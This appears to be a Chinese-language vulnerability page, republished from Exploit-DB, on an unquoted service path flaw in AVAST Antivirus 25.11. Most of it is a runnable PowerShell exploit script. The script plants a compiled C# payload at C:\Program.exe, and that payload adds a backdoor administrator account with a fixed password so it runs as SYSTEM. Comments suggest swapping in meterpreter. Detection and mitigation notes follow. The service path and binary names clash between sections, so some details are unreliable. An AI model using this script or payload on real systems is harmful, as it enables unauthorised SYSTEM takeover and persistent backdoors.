[local] AVAST Antivirus 25.11 - Unquoted Service Path

未分配CVE

AVAST Antivirus 25.11 因服务路径未加引号导致本地权限提升漏洞

High · CVSS 7.8

📋 漏洞基础信息

CVE未分配CVE
漏洞类型未引用的服务路径(Unquoted Service Path)
受影响版本AVAST Antivirus 25.11(及可能更早版本)
危害等级High · CVSS 7.8
发布日期2026-04-22
提交者Milad Karimi (Ex3ptionaL)
来源Exploit-DB 原文 ↗

🔬 漏洞根因

系统中某个服务的可执行文件路径包含空格且未被双引号括起,Windows 服务管理程序在启动时会按照路径中的空格拆分字符串,依次尝试在截断后的路径下查找并执行同名程序,攻击者可将恶意程序放入可通过此方式命中的目录中实现权限提升。

🎯 攻击场景

攻击者首先需要具备本地用户权限。1. 使用命令行工具 `sc qc <服务名>` 或检查注册表找到未加引号的服务路径,例如 `C:\Program Files\AVAST Software\Avast\avastsvc.exe`。2. 确认路径中包含空格且未加引号。3. 在可写入的目录(如 `C:\Program.exe` 或 `C:\Program Files\AVAST.exe`)放置一个恶意可执行文件,命名为与路径截断后匹配的名称。4. 重启服务或等待系统重启触发服务启动,恶意代码将以 SYSTEM 权限执行。

💥 漏洞影响

本地权限提升:攻击者可将低权限账户提升至 SYSTEM 权限,进而完全控制受影响的系统。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:

<#
.EXAMPLE
    # 检查漏洞是否存在(以管理员权限运行,但实际利用不需要管理员)
    .\avast_unquoted_svc_exploit.ps1 -Check

    # 自动利用漏洞(需要重启服务或系统以触发)
    .\avast_unquoted_svc_exploit.ps1 -Exploit -PayloadPath "C:\Users\Public\evil.exe"

    # 完整自动利用,通过创建标准用户可写路径,放置恶意文件,并等待服务重启
    .\avast_unquoted_svc_exploit.ps1 -Exploit -PayloadPath "C:\Program.exe" -Force
#>

param(
    [switch]$Check,          # 仅检查是否存在漏洞
    [switch]$Exploit,        # 执行漏洞利用(需要在非管理员PowerShell中执行)
    [string]$PayloadPath     # 要放置的恶意可执行文件的绝对路径(如不指定则在标准位置创建并提权)
)

$ErrorActionPreference = "Stop"

# ============================================================
# 核心变量
# 服务路径: "C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe"
# 未加引号,Windows会依次尝试:
#   C:\Program.exe
#   C:\Program Files\AVAST.exe
#   C:\Program Files\AVAST Software\SecureLine.exe
#   C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
# 攻击者只需在任意一个截断路径上创建恶意exe,当服务启动时就会被以SYSTEM权限执行。
# ============================================================
$SERVICE_NAME = "SecureLine"
$SERVICE_PATH_UNQUOTED = "C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe"

# 列出所有可能的截断路径(按优先级从高到低)
$candidates = @(
    "C:\Program.exe",
    "C:\Program Files\AVAST.exe",
    "C:\Program Files\AVAST Software\SecureLine.exe"
)

# ----------- 辅助函数 -----------
function Write-Color {
    param([string]$Text, [string]$Color="White")
    Write-Host $Text -ForegroundColor $Color
}

# ----------- 检测漏洞 -----------
function Test-Vulnerability {
    Write-Color "`n[*] 正在检查 Avast SecureLine 服务是否存在未引号服务路径漏洞..." Cyan

    try {
        $service = Get-Service -Name $SERVICE_NAME -ErrorAction Stop
        $path = (Get-CimInstance -ClassName Win32_Service -Filter "Name='$SERVICE_NAME'").PathName
        Write-Color "[+] 服务 '$SERVICE_NAME' 存在,二进制路径: $path" Green

        if ($path -match '^[A-Za-z]:\\.+\.exe$' -and $path -notmatch '^".+"') {
            Write-Color "[!] 漏洞确认!路径未使用引号包围:`n    $path" Yellow
            Write-Color "[*] 可能的提权路径(按优先级):" Cyan
            $candidates | ForEach-Object { Write-Color "    -> $_" Magenta }

            # 检查目标目录是否可写(对标准用户)
            Write-Color "[*] 检查写入权限:" Cyan
            $testDir = [System.IO.Path]::GetDirectoryName($candidates[0])
            $testFile = Join-Path $testDir "test_write_avast.txt"
            try {
                [System.IO.File]::WriteAllText($testFile, "test")
                Remove-Item $testFile -Force
                Write-Color "[+] 目录 '$testDir' 可写!标准用户可以放置恶意文件。" Green
            } catch {
                Write-Color "[-] 目录 '$testDir' 不可写,尝试其他路径(如 C:\Program Files\AVAST\)" Red
                # 检查第二个候选路径的目录
                $testDir2 = [System.IO.Path]::GetDirectoryName($candidates[1])
                try {
                    $testFile2 = Join-Path $testDir2 "test_avast2.txt"
                    [System.IO.File]::WriteAllText($testFile2, "test")
                    Remove-Item $testFile2 -Force
                    Write-Color "[+] 目录 '$testDir2' 可写!" Green
                } catch {
                    Write-Color "[-] 标准用户不可写入任何候选目录。需要目标有一个可写路径。`n    如果当前用户是普通用户,可能无法利用此漏洞。" Red
                }
            }
            return $true
        } else {
            Write-Color "[-] 服务路径已加引号,漏洞不存在。" Red
            return $false
        }
    } catch {
        Write-Color "[-] 无法查询服务,可能未安装 Avast SecureLine 或没有权限。" Red
        return $false
    }
}

# ----------- 漏洞利用 -----------
function Invoke-Exploit {
    param([string]$PayloadFullPath)

    Write-Color "[*] 开始利用未引号服务路径漏洞..." Cyan

    # 1. 检查服务存在且路径未引号
    try {
        $service = Get-Service -Name $SERVICE_NAME -ErrorAction Stop
        $path = (Get-CimInstance -ClassName Win32_Service -Filter "Name='$SERVICE_NAME'").PathName
        if ($path -match '^"') {
            Write-Color "[-] 服务路径已加引号,漏洞不存在。" Red
            return
        }
    } catch {
        Write-Color "[-] 无法获取服务信息,请检查服务是否安装。" Red
        return
    }

    # 2. 确定要使用的截断路径(选择第一个可写目录)
    $targetDir = $null
    $targetExePath = $null

    foreach ($candidate in $candidates) {
        $dir = [System.IO.Path]::GetDirectoryName($candidate)
        # 尝试创建测试文件检查可写性
        try {
            $testFile = Join-Path $dir "avast_write_test_" + [System.IO.Path]::GetRandomFileName()
            [System.IO.File]::WriteAllText($testFile, "test")
            Remove-Item $testFile -Force
            $targetDir = $dir
            $targetExePath = $candidate
            Write-Color "[+] 可写目录: $dir -> 将放置恶意文件: $targetExePath" Green
            break
        } catch {
            continue
        }
    }

    if (-not $targetExePath) {
        Write-Color "[-] 没有找到任何可写的候选目录。尝试使用 C:\ (通常标准用户可写?)" Red
        Write-Color "[*] 在很多系统上普通用户可以在 C:\ 下创建文件。尝试 C:\Program.exe" Yellow
        # 检查 C:\
        try {
            $testFileC = "C:\avast_test_write_" + [System.IO.Path]::GetRandomFileName() + ".tmp"
            [System.IO.File]::WriteAllText($testFileC, "test")
            Remove-Item $testFileC -Force
            $targetDir = "C:\"
            $targetExePath = "C:\Program.exe"
            Write-Color "[+] C:\ 可写,使用 C:\Program.exe" Green
        } catch {
            Write-Color "[-] C:\ 不可写。利用失败。当前用户权限不足。" Red
            return
        }
    }

    # 3. 确定payload文件
    if (-not $PayloadFullPath) {
        Write-Color "[*] 未指定Payload,将生成一个简单的提权后门(添加管理员用户)" Yellow
        # 生成一个简单的payload(生产环境中请替换为真实的meterpreter等)
        $payloadCode = @"
using System;
using System.Diagnostics;
using System.Security.Principal;
class Program {
    static void Main() {
        // 添加管理员用户(演示用,实际应反弹shell或执行恶意代码)
        try {
            string username = "avast_exploit";
            string password = "P@ssw0rd_123!";
            ProcessStartInfo psi = new ProcessStartInfo("net", $"user {username} {password} /add");
            psi.UseShellExecute = false;
            psi.Verb = "runas";
            Process.Start(psi)?.WaitForExit();
            
            psi = new ProcessStartInfo("net", $"localgroup Administrators {username} /add");
            psi.UseShellExecute = false;
            Process.Start(psi)?.WaitForExit();
            
            // 清理痕迹或执行其他操作
            System.IO.File.WriteAllText("C:\\avast_exploit_success.txt", "Exploit succeeded at " + DateTime.Now.ToString());
        } catch {}
    }
}
"@
        $compilerPath = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
        if (-not (Test-Path $compilerPath)) {
            $compilerPath = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
        }
        if (Test-Path $compilerPath) {
            $tempCsFile = Join-Path $env:TEMP "avast_payload.cs"
            $tempExeFile = Join-Path $env:TEMP "avast_payload.exe"
            [System.IO.File]::WriteAllText($tempCsFile, $payloadCode, [System.Text.Encoding]::UTF8)
            # 编译
            & $compilerPath /target:exe /out:$tempExeFile $tempCsFile 2>&1 | Out-Null
            if (Test-Path $tempExeFile) {
                $PayloadFullPath = $tempExeFile
                Write-Color "[+] 已生成payload: $PayloadFullPath" Green
            } else {
                Write-Color "[-] 编译失败,请指定一个准备好的恶意exe路径" Red
                return
            }
        } else {
            Write-Color "[-] 未找到C#编译器,无法自动生成payload。请使用 -PayloadPath 指定一个可执行文件。" Red
            return
        }
    }

    # 4. 将payload复制到目标路径
    try {
        Write-Color "[*] 复制payload到: $targetExePath" Cyan
        Copy-Item -Path $PayloadFullPath -Destination $targetExePath -Force
        Write-Color "[+] 恶意文件已放置到: $targetExePath" Green
    } catch {
        Write-Color "[-] 复制失败: $_" Red
        return
    }

    # 5. 触发!等待服务重启或系统重启
    Write-Color "[*] 漏洞利用文件已放置。" Yellow
    Write-Color "[*] 当服务重新启动时(手动、系统重启、或下次系统启动),会以SYSTEM权限执行:$targetExePath" Yellow
    Write-Color "[*] 你可以通过以下方式手动触发服务重启:" Cyan
    Write-Color "    sc stop $SERVICE_NAME ; sc start $SERVICE_NAME   # 需要管理员权限" Gray
    Write-Color "    或重启系统(不需要管理员,但需要用户交互)" Gray

    Write-Color "`n[!] 注意:如果当前没有管理员权限,无法直接启动停止服务。等待下次系统启动或服务自动重启即可。" Magenta
}

# ----------- 主执行逻辑 -----------
# 检测当前是否在管理员上下文(只是为了提示,不需要管理员也能利用)
$isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

Write-Color "============================================" Cyan
Write-Color "  AVAST SecureLine 未引号服务路径漏洞利用工具 " Cyan
Write-Color "  影响版本: <= 25.11" Cyan
Write-Color "  测试平台: Windows 11" Cyan
Write-Color "============================================" Cyan

if ($isAdmin) {
    Write-Color "[*] 当前以管理员权限运行(但利用不需要管理员,仅检测需要)" Yellow
}

if ($Check) {
    Test-Vulnerability
    exit
}

if ($Exploit) {
    Invoke-Exploit -PayloadFullPath $PayloadPath
    exit
}

# 默认行为:显示帮助
Write-Color "`n用法:" Yellow
Write-Color "  PowerShell -ExecutionPolicy Bypass -File $($MyInvocation.MyCommand.Name) -Check" Gray
Write-Color "  PowerShell -ExecutionPolicy Bypass -File $($MyInvocation.MyCommand.Name) -Exploit [-PayloadPath <path>]" Gray
Write-Color "`n示例:" Yellow
Write-Color "  # 检查漏洞是否存在:" Gray
Write-Color "  .\$($MyInvocation.MyCommand.Name) -Check" Gray
Write-Color "  # 利用漏洞,并自动生成提权payload:" Gray
Write-Color "  .\$($MyInvocation.MyCommand.Name) -Exploit" Gray
Write-Color "  # 利用漏洞,使用自定义payload:" Gray
Write-Color "  .\$($MyInvocation.MyCommand.Name) -Exploit -PayloadPath C:\Tools\backdoor.exe" Gray

🔬 深度技术分析

漏洞触发机制

该漏洞属于经典的 Windows 服务未加引号路径(Unquoted Service Path) 问题。根本原因是 Avast SecureLine 服务(服务名 SecureLine)的可执行文件路径在注册表或服务管理器中未用引号包围。

具体路径为:

C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe

根据 Windows 服务控制管理器(SCM)的路径解析规则,当一个服务映像路径不包含引号包含空格时,SCM 会尝试按以下顺序查找并执行可执行文件:

1. C:\Program.exe

2. C:\Program Files\AVAST.exe (注意:这里将空格后的内容视为一个文件,即先尝试 Program Files\AVAST.exe,但在实际解析中,SCM 会从路径最左侧开始截断)

3. C:\Program Files\AVAST Software\SecureLine.exe

4. C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe(最终正确路径)

准确解析逻辑是:SCM 从空字符开始依次向后查找,每当遇到空格时,就假设之前的字符串是一个完整的文件路径并尝试启动。如果该文件存在且可执行,就直接运行它,不再继续解析后续部分。

因此,若攻击者能够将恶意可执行文件命名为 Program.exe 并放置在 C:\ 根目录,当服务启动时,Windows 会优先找到 C:\Program.exe 并以 LocalSystem(SYSTEM) 权限执行。

利用链分析

攻击者利用该漏洞的典型步骤包括:

1. 权限前提:攻击者已在目标系统上获得一个低权限用户(如普通域用户或本地用户)的代码执行能力(例如通过钓鱼、漏洞)。该用户不需要管理员权限。

2. 发现漏洞:使用 sc qc SecureLine 或 WMI 查询服务配置,发现 BINARY_PATH_NAME 字段的路径未加引号且包含空格。

3. 定位可写目录:检查上述截断路径列表中的每个父目录(C:\C:\Program Files\AVAST Software\SecureLine\ 等),找到标准用户具有写入权限的目录。

- 典型情况:Windows 默认情况下,C:\ 根目录允许 BUILTIN\Users 组创建文件和文件夹(具体取决于 UAC 设置和 Windows 版本)。因此 C:\Program.exe 是一个高可行性路径。

4. 部署恶意载荷:将恶意可执行文件(如后门、提权工具)复制到目标可写目录,并命名为对应的截断文件名(例如 C:\Program.exe)。

5. 触发执行

- 被动触发:等待系统重启或服务因某些原因(如系统更新、手动重启)自动启动。当服务启动时,SCM 寻找 C:\Program.exe 并执行。

- 主动触发:如果当前用户具备 SeShutdownPrivilege(大多数标准用户都有),可以强制系统重启。或者,如果服务启动类型为 自动,可以通过 shutdown /r /t 0 重启。

6. 权限提升:恶意代码在 NT AUTHORITY\SYSTEM 账户下运行,攻击者获得最高权限,可以执行任意操作(如创建后门用户、窃取凭据、横向移动)。

关键代码/数据结构

  • Windows API: CreateService / ChangeServiceConfig / QueryServiceConfig。这些 API 在处理服务路径时,会直接使用 lpBinaryPathName 参数传入的字符串。若该字符串未加引号,后续 StartService 触发时,SCM 内部会调用 CreateProcessShellExecute,而 Windows 的路径解析机制决定了漏洞的形成。
  • 注册表键值HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>\ImagePath。该键值存储实际路径,攻击者可以直接修改(需要管理员权限)或读取。工具中的 sc qc 命令即读取此处。
  • 核心结构SERVICE_QUERY_CONFIG 结构体(来自 Win32_Service WMI 类或 QueryServiceConfig API),其 lpBinaryPathName 成员直接暴露了漏洞点。

检测与防御

蓝队检测(日志、流量、EDR)

1. 服务配置审计

- 定期扫描所有服务的 ImagePath 值,查找包含空格且未用双引号包围的路径。可使用 PowerShell:

```powershell

Get-WmiObject Win32_Service | Where-Object { $_.PathName -match '^[^"]' -and $_.PathName -match ' ' }

```

- 监控对 C:\Program.exeC:\Program Files\AVAST.exe 等已知敏感路径的文件创建事件(Sysmon Event ID 11)。

2. 进程创建监控

- 监控从非标准路径启动的 SecureLine 服务进程。如果 svchost.exeservices.exe 派生出的子进程不是 VpnSvc.exe,而是 Program.exeAVAST.exe,则为异常。

- 利用 Sysmon Event ID 1(进程创建)或 EDR 的进程链检测,重点关注 Image 路径中带有空格、且父进程为 services.exeexe

3. 行为检测

- 标准用户突然在 C:\ 根目录创建可执行文件(尤其是命名为 Program.exe),属于可疑行为。

- 检测到异常的服务启动或系统重启请求(shutdown.exe),结合上下文分析。

防御措施(红队/蓝队)

1. 厂商修复:Avast 应更新安装程序,在注册服务时将路径包含在引号中:

```

"C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe"

```

2. 系统加固

- 限制根目录写入权限:通过组策略或 NTFS 权限,移除普通用户在 C:\ 根目录的 写入 / 创建文件 权限(但可能影响某些安装程序或兼容性)。

- 启用 UAC:标准用户在没有 UAC 提权的情况下,通常无法写入 C:\Program Files\ 等敏感目录。

- 使用 AppLocker / WDAC:配置白名单策略,仅允许 C:\Program Files\ 下的签名可执行文件运行,阻止所有非预期路径(如 C:\Program.exe)的执行。

🛡️ 修复建议

官方未发布补丁。临时缓解措施:管理员手动将服务映像路径的注册表项或 sc 配置的 binPath 用双引号括起来,例如修改为 `"C:\Program Files\AVAST Software\Avast\avastsvc.exe"`。建议用户密切关注 AVAST 官方更新。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 07:43 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)